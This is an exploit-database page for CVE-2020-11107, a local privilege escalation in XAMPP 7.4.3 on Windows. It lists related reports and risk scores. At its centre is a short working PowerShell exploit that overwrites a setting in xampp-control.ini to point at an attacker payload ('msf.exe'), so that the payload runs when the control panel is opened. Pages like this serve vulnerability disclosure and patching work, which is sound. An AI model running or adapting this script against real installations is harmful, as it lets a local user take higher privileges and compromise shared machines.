XAMPP 7.4.3 - Local Privilege Escalation

🗓️ 27 Sep 2021 00:00:00Reported by Salman AsadType

exploitdb🔗 www.exploit-db.com👁 405 Views

XAMPP 7.4.3 Local Privilege Escalation Exploi

Reporter	Title	Published	Views	Family All 18
zdt	XAMPP 7.4.3 - Local Privilege Escalation Vulnerability	27 Sep 202100:00	–	zdt
GithubExploit	Exploit for Incorrect Permission Assignment for Critical Resource in Apachefriends Xampp	3 Apr 202013:46	–	githubexploit
GithubExploit	Exploit for Incorrect Permission Assignment for Critical Resource in Apachefriends Xampp	29 Jan 202615:40	–	githubexploit
GithubExploit	Exploit for Incorrect Permission Assignment for Critical Resource in Apachefriends Xampp	5 Apr 202010:45	–	githubexploit
Circl	CVE-2020-11107	1 Sep 202620:02	–	circl
CNVD	XAMPP Arbitrary Command Execution Vulnerability	3 Apr 202000:00	–	cnvd
CVE	CVE-2020-11107	2 Apr 202017:44	–	cve
Cvelist	CVE-2020-11107	2 Apr 202017:44	–	cvelist
Kitploit	CVE-2020-11107	19 Oct 202602:16	–	kitploit
Kitploit	Mohnad-AL-saif-CVE-2020-11107-XAMPP-Local-Privilege-Escalation	21 Oct 202622:54	–	kitploit

# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

01 Aug 2022 00:00Current

7.9High risk

Vulners AI Score7.9

CVSS 26.8

CVSS 3.18.8

EPSS0.2247